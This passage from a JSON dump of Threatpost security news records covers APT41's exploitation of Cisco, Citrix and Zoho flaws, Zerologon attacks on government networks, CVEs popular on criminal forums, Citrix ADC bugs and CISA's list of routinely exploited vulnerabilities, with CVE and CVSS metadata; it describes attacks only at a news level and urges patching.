RV325](<https://www.rapid7.com/db/modules/exploit/linux/http/cisco_rv32x_rce>) small business routers.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/25112442/APT41-timeline.png>)\n\nFinally, on March 8, the threat actor was observed [exploiting a critical vulnerability](<https://threatpost.com/critical-zoho-zero-day-flaw-disclosed/153484/>) in Zoho ManageEngine Desktop Central, an endpoint management tool to help users manage their servers, laptops, smartphones, and more from a central location. The flaw ([CVE-2020-10189)](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) was first disclosed on March 5 as a zero-day, and [was later patched](<https://www.us-cert.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central>) on March 7. The attackers exploited the flaw to deploy payloads (install.bat and storesyncsvc.dll) in two ways. First, after exploiting the flaw they directly uploaded a simple Java-based program (\u201clogger.zip\u201d) containing a set of commands, which then used PowerShell to download and execute the payloads. In a second attack, APT41 leveraged a legitimate Microsoft command-line tool, BITSAdmin, to download the payload.\n\nNotably, after exploitation, the attackers have been seen only leveraging publicly available malware, including Cobalt Strike (a [commercially available exploitation framework](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>)) and Meterpreter (a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code). Said researchers: \u201cWhile these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance.\u201d\n\n**APT41 Activity **\n\nInterestingly, between waves of exploitation, researchers observed a lull in APT41 activity. The first lull, between Jan. 23 and Feb. 1, was likely related to the Chinese Lunar New Year holidays (which occurred Jan. 24 \u2013 30): \u201cThis has been a common activity pattern by Chinese APT groups in past years as well,\u201d said researchers.\n\nThe second lull, occurring Feb. 2 \u2013 19, may have been related to fallout from the rapid spread of the coronavirus pandemic. Researchers noted that China had initiated [COVID-19 related quarantines](<https://threatpost.com/coronavirus-themed-cyberattacks-persists/153493/>) in cities in the Hubei province Jan. 23 \u2013 24, and rolled out quarantines to additional provinces starting between Feb. 2 and Feb. 10.\n\n\u201cWhile it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry,\u201d said researchers.\n\nThey also said that [APT41 ](<https://threatpost.com/fortnite-ransomware-masquerades-as-an-aimbot-game-hack/147549/>) has [historically](<https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html>) (since 2012) conducted dual Chinese state-sponsored espionage activity and personal, financially motivated activity. More recently, in October 2019, the [threat group was discovered](<https://threatpost.com/china-hackers-spy-texts-messagetap-malware/149761/>) using a new malware strain to intercept telecom SMS server traffic and sniff out certain phone numbers and SMS messages \u2013 particularly those with keywords relating to Chinese political dissidents.\n\n\u201cIn 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks,\u201d said researchers on Wednesday. \u201cThis new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.\u201d\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-25T15:57:25", "type": "threatpost", "title": "Chinese Hackers Exploit Cisco, Citrix Flaws in Massive Espionage Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-1652", "CVE-2019-1653", "CVE-2019-19781", "CVE-2020-10189", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-03-25T15:57:25", "id": "THREATPOST:AB0F3CD65F9FE00689C1695CB89ADC3F", "href": "https://threatpost.com/chinese-hackers-exploit-cisco-citrix-espionage/154133/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-13T16:45:38", "description": "U.S. government officials have warned that advanced persistent threat actors (APTs) are now leveraging Microsoft\u2019s severe privilege-escalation flaw, dubbed \u201cZerologon,\u201d to target elections support systems.\n\nDays after [Microsoft sounded the alarm that an Iranian nation-state actor](<https://threatpost.com/microsoft-zerologon-attack-iranian-actors/159874/>) was actively exploiting the flaw ([CVE-2020-1472](<https://www.tenable.com/cve/CVE-2020-1472>)), the Cybersecurity Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) published a joint advisory warning of further attacks.\n\nThe advisory details how attackers are chaining together various vulnerabilities and exploits \u2013 including using VPN vulnerabilities to gain initial access and then Zerologon as a post-exploitation method \u2013 to compromise government networks.\n\n[](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\n\u201cThis recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal and territorial (SLTT) government networks,\u201d according [to the security advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>). \u201cAlthough it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.\u201d\n\nWith the [U.S. November presidential elections](<https://threatpost.com/2020-election-secure-vote-tallies-problem/158533/>) around the corner \u2013 and cybercriminal activity subsequently ramping up to target [election infrastructure](<https://threatpost.com/black-hat-usa-2020-preview-election-security-covid-disinformation-and-more/157875/>) and [presidential campaigns](<https://threatpost.com/microsoft-cyberattacks-trump-biden-election-campaigns/159143/>) \u2013 election security is top of mind. While the CISA and FBI\u2019s advisory did not detail what type of elections systems were targeted, it did note that there is no evidence to support that the \u201cintegrity of elections data has been compromised.\u201d\n\nMicrosoft released a patch for the Zerologon vulnerability as part of its [August 11, 2020 Patch Tuesday security updates](<https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/>). Exploiting the bug allows an unauthenticated attacker, with network access to a domain controller, to completely compromise all Active Directory identity services, according to Microsoft.\n\nDespite a patch being issued, many companies have not yet applied the patches to their systems \u2013 and cybercriminals are taking advantage of that in a recent slew of government-targeted attacks.\n\nThe CISA and FBI warned that various APT actors are commonly using [a Fortinet vulnerability](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) to gain initial access to companies. That flaw (CVE-2018-13379) is a path-traversal glitch in Fortinet\u2019s FortiOS Secure Socket Layer (SSL) virtual private network (VPN) solution. While the flaw was patched in April 2019, exploitation details were publicized in August 2019, opening the door for attackers to exploit the error.\n\nOther initial vulnerabilities being targeted in the attacks include ones in Citrix NetScaler ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)), MobileIron ([CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)), Pulse Secure ([CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)), Palo Alto Networks ([CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>)) and F5 BIG-IP ([CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)).\n\nAfter exploiting an initial flaw, attackers are then leveraging the Zerologon flaw to escalate privileges, researchers said. They then use legitimate credentials to log in via VPN or remote-access services, in order to maintain persistence.\n\n\u201cThe actors are leveraging CVE-2020-1472 in Windows Netlogon to escalate privileges and obtain access to Windows AD servers,\u201d they said. \u201cActors are also leveraging the opensource tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers.\u201d\n\nThe advisory comes as exploitation attempts against Zerologon spike, with Microsoft recently warned of exploits by an [advanced persistent threat](<https://threatpost.com/iranian-apt-targets-govs-with-new-malware/153162/>) (APT) actor, which the company calls MERCURY (also known as MuddyWater, Static Kitten and Seedworm). [Cisco Talos researchers also recently warned of](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>) a spike in exploitation attempts against Zerologon.\n\n[Earlier in September, the stakes got higher](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>) for risks tied to the bug when four public proof-of-concept exploits for the flaw were released on** **[Github.](<https://github.com/dirkjanm/CVE-2020-1472>) This spurred the Secretary of Homeland Security [to issue a rare emergency directive](<https://threatpost.com/dire-patch-warning-zerologon/159404/>), ordering federal agencies to patch their Windows Servers against the flaw by Sept. 2.\n\nCISA and the FBI stressed that organizations should ensure their systems are patched, and adopt an \u201cassume breach\u201d mentality. Satnam Narang, staff research engineer with Tenable, agreed, saying that \u201cit seems clear that Zerologon is becoming one of the most critical vulnerabilities of 2020.\u201d\n\n\u201cPatches are available for all of the vulnerabilities referenced in the joint cybersecurity advisory from CISA and the FBI,\u201d said Narang [in a Monday analysis](<https://www.tenable.com/blog/cve-2020-1472-advanced-persistent-threat-actors-use-zerologon-vulnerability-in-exploit-chain>). \u201cMost of the vulnerabilities had patches available for them following their disclosure, with the exception of CVE-2019-19781, which received patches a month after it was originally disclosed.\u201d\n\n** [On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n", "cvss3": {}, "published": "2020-10-13T16:39:01", "type": "threatpost", "title": "Election Systems Under Attack via Microsoft Zerologon Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2021", "CVE-2020-5902"], "modified": "2020-10-13T16:39:01", "id": "THREATPOST:71C45E867DCD99278A38088B59938B48", "href": "https://threatpost.com/election-systems-attack-microsoft-zerologon/160021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-17T07:28:30", "description": "Criminal small talk in underground forums offer critical clues about which known Common Vulnerabilities and Exposures (CVEs) threat actors are most focused on. This, in turn, offers defenders clues on what to watch out for.\n\nAn analysis of such chatter, by Cognyte, examined 15 [cybercrime forums](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) between Jan. 2020 and March 2021. In its report, researchers highlight what CVEs are the most frequently mentioned and try to determine where attackers might strike next.\n\n\u201cOur findings revealed that there is no 100 percent correlation between the two parameters, since the top five CVEs that received the highest number of posts are not exactly the ones that were mentioned on the highest number of Dark Web forums examined,\u201d the report said. \u201cHowever, it is still enough to understand which CVEs were popular among threat actors on the Dark Web during the time examined.\u201d[](<https://threatpost.com/newsletter-sign/>)The researchers found [ZeroLogon](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>), [SMBGhost](<https://threatpost.com/smbghost-rce-exploit-corporate-networks/156391/>) and [BlueKeep](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>) were among the most buzzed about vulnerabilities among attackers between Jan. 2020 and March 2021.\n\n## **Six CVEs Popular with Criminals**\n\n[CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) (aka ZeroLogon)\n\n[CVE-2020-0796](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0796>) (aka SMBGhost)\n\n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n[CVE-2019-0708](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708>) (aka BlueKeep)\n\n[CVE-2017-11882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882>)\n\n[CVE-2017-0199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0199>)\n\n\u201cMost of the CVEs in this list were abused by nation-state groups and cybercriminals, such as ransomware gangs, during worldwide campaigns against different sectors,\u201d the report said.\n\nNotably, all the CVEs threat actors are still focused on are old, meaning that basic patching and mitigation could have stopped many attacks before they even got started.\n\nThe report added, the 9-year-old [CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) was exploited by threat actors during the COVID-19 pandemic in 2020, which, \u201cindicates that organizations are not patching their systems and are not maintaining a resilient security posture.\u201d\n\nMicrosoft has the dubious distinction of being behind five of the six most popular vulns on the Dark Web, Cognyte found. Microsoft has also had a tough time getting users to patch them.\n\nZeroLogon is a prime example. The [flaw in Microsoft\u2019s software](<https://threatpost.com/microsoft-implements-windows-zerologon-flaw-enforcement-mode/163104/>) allows threat actors to access domain controllers and breach all Active Directory identity services. Patching ZeroLogon was so slow, Microsoft announced in January it would start blocking Active Directory domain access to unpatched systems with an \u201cenforcement mode.\u201d\n\nIn March 2020, Microsoft patched the number two vulnerability on the list, CVE-2020-0796, but as of October, 100,000 [Windows systems were still vulnerable](<https://threatpost.com/microsofts-smbghost-flaw-108k-windows-systems/160682/>).\n\nThe analysts explained varying CVEs were more talked about depending on the forum language. The CVE favored by Russian-language forums was CVE-2019-19781. Chinese forums were buzzing most about CVE-2020-0796. There was a tie between CVE-2020-0688 and CVE-2019-19781 in English-speaking threat actor circles. And Turkish forums were focused on CVE-2019-6340.\n\nThe researchers add, for context, that about half of the monitored forums were Russian-speaking and that Spanish forums aren\u2019t mentioned because there wasn\u2019t a clear frontrunning CVE discussed.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T21:07:15", "type": "threatpost", "title": "Top CVEs Trending with Cybercriminals", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2012-0158", "CVE-2017-0199", "CVE-2017-11882", "CVE-2019-0708", "CVE-2019-19781", "CVE-2019-6340", "CVE-2020-0688", "CVE-2020-0796", "CVE-2020-1472"], "modified": "2021-07-16T21:07:15", "id": "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "href": "https://threatpost.com/top-cves-trending-with-cybercriminals/167889/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:22:57", "description": "Multiple vulnerabilities in the Citrix Application Delivery Controller (ADC) and Gateway would allow code injection, information disclosure and denial of service, the networking vendor announced Tuesday. Four of the bugs are exploitable by an unauthenticated, remote attacker.\n\nThe Citrix products (formerly known as NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively, and are installed in at least 80,000 companies in 158 countries, according to a December assessment from Positive Technologies.\n\nOther flaws announced Tuesday also affect Citrix SD-WAN WANOP appliances, models 4000-WO, 4100-WO, 5000-WO and 5100-WO.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks on the management interface of the products could result in system compromise by an unauthenticated user on the management network; or system compromise through cross-site scripting (XSS). Attackers could also create a download link for the device which, if downloaded and then executed by an unauthenticated user on the management network, could result in the compromise of a local computer.\n\n\u201cCustomers who have configured their systems in accordance with [Citrix recommendations](<https://docs.citrix.com/en-us/citrix-adc/citrix-adc-secure-deployment/secure-deployment-guide.html>) [i.e., to have this interface separated from the network and protected by a firewall] have significantly reduced their risk from attacks to the management interface,\u201d according to the vendor.\n\nThreat actors could also mount attacks on Virtual IPs (VIPs). VIPs, among other things, are used to provide users with a unique IP address for communicating with network resources for applications that do not allow multiple connections or users from the same IP address.\n\nThe VIP attacks include denial of service against either the Gateway or Authentication virtual servers by an unauthenticated user; or remote port scanning of the internal network by an authenticated Citrix Gateway user.\n\n\u201cAttackers can only discern whether a TLS connection is possible with the port and cannot communicate further with the end devices,\u201d according to the critical [Citrix advisory](<https://support.citrix.com/article/CTX276688>). \u201cCustomers who have not enabled either the Gateway or Authentication virtual servers are not at risk from attacks that are applicable to those servers. Other virtual servers e.g. load balancing and content switching virtual servers are not affected by these issues.\u201d\n\nA final vulnerability has been found in Citrix Gateway Plug-in for Linux that would allow a local logged-on user of a Linux system with that plug-in installed to elevate their privileges to an administrator account on that computer, the company said.\n\nOf the 11 vulnerabilities, there are six possible attacks routes; but five of those have barriers to exploitation. Also, the latest patches fully resolve all the issues. Here\u2019s a full list of the bugs with exploitation barriers listed:\n\n\n\nSince Citrix is mainly used for giving remote access to applications in companies\u2019 internal networks, a compromise could easily be used as a foothold to move laterally across a victim organization. However, Citrix CISO Fermin Serna said in an accompanying [blog post](<https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/>) that the company isn\u2019t aware of any active exploitation of the issues so far, and he stressed that the barriers to exploitation of these flaws are significant.\n\n\u201cThere are barriers to many of these attacks; in particular, for customers where there is no untrustworthy traffic on the management network, the remaining risk reduces to a denial-of-service attack,\u201d he wrote. \u201cAnd in that case, only when Gateway or authentication virtual servers are being used. Other virtual servers, for example, load balancing and content switching virtual servers, are not affected by the issue.\u201d\n\nHe added, \u201cthree possible attacks additionally require some form of existing access. That effectively means an external malicious actor would first need to gain unauthorized access to a vulnerable device to be able to conduct an attack.\u201d\n\nSerna also noted that the bugs aren\u2019t related to the CVE-2019-19781 critical bug in Citrix ADC and Gateway, [announced in December](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>). That zero-day flaw [remained unpatched](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) for almost a month and in-the-wild attacks [followed](<https://threatpost.com/chinese-hackers-exploit-cisco-citrix-espionage/154133/>).\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a _**[**_FREE webinar_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_, \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_ for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-07T14:44:30", "type": "threatpost", "title": "Citrix Bugs Allow Unauthenticated Code Injection, Data Theft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135", "CVE-2020-8187", "CVE-2020-8190", "CVE-2020-8191", "CVE-2020-8193", "CVE-2020-8194", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8197", "CVE-2020-8198", "CVE-2020-8199"], "modified": "2020-07-07T14:44:30", "id": "THREATPOST:575F655420B93C2305DEE73F769E7E0B", "href": "https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-30T09:53:38", "description": "In a perfect world, CISA would laminate cards with the year\u2019s top 30 vulnerabilities: You could whip it out and ask a business if they\u2019ve bandaged these specific wounds before you hand over your cash.\n\nThis is not a perfect world. There are no laminated vulnerability cards.\n\nBut at least we have the list: In a joint advisory ([PDF](<https://us-cert.cisa.gov/sites/default/files/publications/AA21-209A_Joint%20CSA_Top%20Routinely%20Exploited%20Vulnerabilities.pdf>)) published Wednesday, the FBI and Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Center, and the UK\u2019s National Cyber Security Center listed the vulnerabilities that were \u201croutinely\u201d exploited in 2020, as well as those that are most often being picked apart so far this year.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerabilities \u2013 which lurk in devices or software from the likes of Citrix, Fortinet, Pulse Secure, Microsoft and Atlassian \u2013 include publicly known bugs, some of which are growing hair. One, in fact, dates to 2000.\n\n\u201cCyber actors continue to exploit publicly known \u2013 and often dated \u2013 software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\u201d according to the advisory. \u201cHowever, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\u201d\n\nSo far this year, cyberattackers are continuing to target vulnerabilities in perimeter-type devices, with particularly high amounts of unwanted attention being devoted to flaws in the perimeter devices sold by Microsoft, Pulse, Accellion, VMware and Fortinet.\n\nAll of the vulnerabilities have received patches from vendors. That doesn\u2019t mean those patches have been applied, of course.\n\n## Repent, O Ye Patch Sinners\n\nAccording to the advisory, attackers are unlikely to stop coming after geriatric vulnerabilities, including CVE-2017-11882: a Microsoft Office remote code execution (RCE) bug that was already near drinking age when it was [patched at the age of 17](<https://threatpost.com/microsoft-patches-17-year-old-office-bug/128904/>) in 2017.\n\nWhy would they stop? As long as systems remain unpatched, it\u2019s a win-win for adversaries, the joint advisory pointed out, as it saves bad actors time and effort.\n\n> Adversaries\u2019 use of known vulnerabilities complicates attribution, reduces costs, and minimizes risk because they are not investing in developing a zero-day exploit for their exclusive use, which they risk losing if it becomes known. \u2014Advisory\n\nIn fact, the top four preyed-upon 2020 vulnerabilities were discovered between 2018 to 2020, showing how common it is for organizations using the devices or technology in question to sidestep patching or remediation.\n\nThe top four:\n\n * [CVE-2019-19781](<https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/>), a critical bug in the Citrix Application Delivery Controller (ADC) and Citrix Gateway that left unpatched outfits at risk from a trivial attack on their internal operations. As of December 2020, 17 percent \u2013 about one in five of the 80,000 companies affected \u2013 hadn\u2019t patched.\n * [CVE 2019-11510](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>): a critical Pulse Secure VPN flaw exploited in several cyberattacks that targeted companies that had previously patched a related flaw in the VPN. In April 2020, the Department of Homeland Security (DHS) urged users to change their passwords for [Active Directory](<https://threatpost.com/podcast-securing-active-directory-nightmare/168203/>) accounts, given that the patches were deployed too late to stop bad actors from compromising those accounts.\n * [CVE 2018-13379](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>): a path-traversal weakness in VPNs made by Fortinet that was discovered in 2018 and which was actively being exploited as of a few months ago, in April 2021.\n * [CVE 2020-5902](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>): a critical vulnerability in F5 Networks\u2019 BIG-IP advanced delivery controller networking devices that, as of July 2020, was being exploited by attackers to scrape credentials, launch malware and more.\n\nThe cybersecurity bodies urged organizations to remediate or mitigate vulnerabilities as soon as possible to reduce their risk of being ripped up. For those that can\u2019t do that, the advisory encouraged organizations to check for the presence of indicators of compromise (IOCs).\n\nIf IOCs are found, kick off incident response and recovery plans, and let CISA know: the advisory contains instructions on how to report incidents or request technical help.\n\n## 2020 Top 12 Exploited Vulnerabilities\n\nHere\u2019s the full list of the top dozen exploited bugs from last year:\n\n**Vendor** | **CVE** | **Type** \n---|---|--- \nCitrix | CVE-2019-19781 | arbitrary code execution \nPulse | CVE 2019-11510 | arbitrary file reading \nFortinet | CVE 2018-13379 | path traversal \nF5- Big IP | CVE 2020-5902 | remote code execution (RCE) \nMobileIron | CVE 2020-15505 | RCE \nMicrosoft | CVE-2017-11882 | RCE \nAtlassian | CVE-2019-11580 | RCE \nDrupal | CVE-2018-7600 | RCE \nTelerik | CVE 2019-18935 | RCE \nMicrosoft | CVE-2019-0604 | RCE \nMicrosoft | CVE-2020-0787 | elevation of privilege \nNetlogon | CVE-2020-1472 | elevation of privilege \n \n## Most Exploited So Far in 2021\n\nCISA et al. also listed these 13 flaws, all discovered this year, that are also being energetically exploited:\n\n * Microsoft Exchange: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE2021-27065: four flaws that can be chained together in the ProxyLogon group of security bugs that led to a [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>). The frenzy was warranted: as of March, Microsoft said that 92 percent of Exchange Servers were vulnerable to [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>).\n * Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900. As of May, CVE-2021-22893 was being used by at least two advanced persistent threat actors (APTs), likely linked to China, [to attack U.S. defense targets,](<https://threatpost.com/pulse-secure-vpns-fix-critical-zero-day-bugs/165850/>) among others.\n * Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104. These ones led to scads of attacks, including [on Shell](<https://threatpost.com/shell-victim-of-accellion-attacks/164973/>). Around 100 Accellion FTA customers, including the [Jones Day Law Firm](<https://threatpost.com/stolen-jones-day-law-firm-files-posted/164066/>), Kroger [and Singtel](<https://threatpost.com/singtel-zero-day-cyberattack/163938/>), were affected by attacks [tied to FIN11 and the Clop ransomware gang](<https://threatpost.com/accellion-zero-day-attacks-clop-ransomware-fin11/164150/>).\n * VMware: CVE-2021-21985: A [critical bug](<https://threatpost.com/vmware-ransomware-alarm-critical-bug/166501/>) in VMware\u2019s virtualization management platform, vCenter Server, that allows a remote attacker to exploit the product and take control of a company\u2019s affected system.\n\nThe advisory gave technical details for all these vulnerabilities along with guidance on mitigation and IOCs to help organizations figure out if they\u2019re vulnerable or have already been compromised. The advisory also offers guidance for locking down systems.\n\n## Can Security Teams Keep Up?\n\nRick Holland, Digital Shadows CISO and vice president of strategy, called CISA vulnerability alerts an \u201cinfluential tool to help teams stay above water and minimize their attack surface.\u201d\n\nThe CVEs highlighted in Wednesday\u2019s alert \u201ccontinue to demonstrate that attackers are going after known vulnerabilities and leverage zero-days only when necessary,\u201d he told Threatpost on Thursday.\n\nRecent research ([PDF](<https://l.vulcancyber.com/hubfs/Infographics/Pulse%20research%20project%20-%202021-07-23%20-%20How%20are%20Businesses%20Mitigating%20Cyber%20Risk.pdf>)) from Vulcan Cyber has found that more than three-quarters of cybersecurity leaders have been impacted by a security vulnerability over the past year. It begs the question: Is there a mismatch between enterprise vulnerability management programs and the ability of security teams to mitigate risk?\n\nYaniv Bar-Dayan, CEO and co-founder at Vulcan Cyber, a provider of SaaS for enterprise cyber risk remediation, suggested that it\u2019s become ever more vital for enterprise IT security stakeholders to make \u201cmeaningful changes to their cyber hygiene efforts.\u201d That means \u201cprioritizing risk-based cybersecurity efforts, increasing collaboration between security and IT teams, updating vulnerability management tooling, and enhancing enterprise risk analytics, especially in businesses with advanced cloud application programs.\u201d\n\nGranted, vulnerability management is \u201cone of the most difficult aspects of any security program,\u201d he continued. But if a given vulnerability is being exploited, that should kick it up the priority list, Var-Dayan said. \u201cTaking a risk-based approach to vulnerability management is the way forward; and teams should unquestionably be prioritizing vulnerabilities that are actively being exploited.\u201d\n\n072921 15:02 UPDATE: Corrected misattribution of quotes.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T18:39:56", "type": "threatpost", "title": "CISA\u2019s Top 30 Bugs: One\u2019s Old Enough to Buy Beer", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11580", "CVE-2019-19781", "CVE-2020-0787", "CVE-2020-1472", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-07-29T18:39:56", "id": 